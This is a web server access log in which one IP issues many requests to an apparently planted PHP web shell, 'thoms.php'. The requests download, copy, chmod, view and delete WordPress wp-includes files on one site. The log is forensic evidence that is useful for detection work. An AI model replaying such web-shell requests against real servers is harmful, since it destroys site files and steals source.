45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11907 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?chmod=embed-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?dl=class-wp-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13227 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?del=session.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=session.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /big-wife.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?del=block-patterns.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20829 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 12309 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?del=compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?dl=view-config.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:19 -0400] "GET /thoms.php?del=block-bindings&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-bindings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-bindings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13024 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14425 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12720 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12167 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?del=SimplePie&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?chmod=feed-atom.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /big-wife.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?dl=error_log&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=error_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:20 -0400] "GET /thoms.php?del=feed-rdf.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fstyle-engine.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fstyle-engine.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fabilities-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fabilities-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /big-wife.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14567 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fupdate.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fupdate.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:21 -0400] "GET /thoms.php?dl=nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31892 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?del=view-transitions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fformatting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fformatting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?del=cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13300 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /big-wife.com.tw/wp-includes/certificates/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12742 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:22 -0400] "GET /thoms.php?dl=user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?dl=user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17933 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?del=load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdefault-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdefault-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16063 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14662 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:23 -0400] "GET /thoms.php?dl=speculative-loading.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?chmod=fonts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?del=html-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=html-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /big-wife.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?del=capabilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?chmod=blocks&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?dl=update.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=update.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /thoms.php?chmod=utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
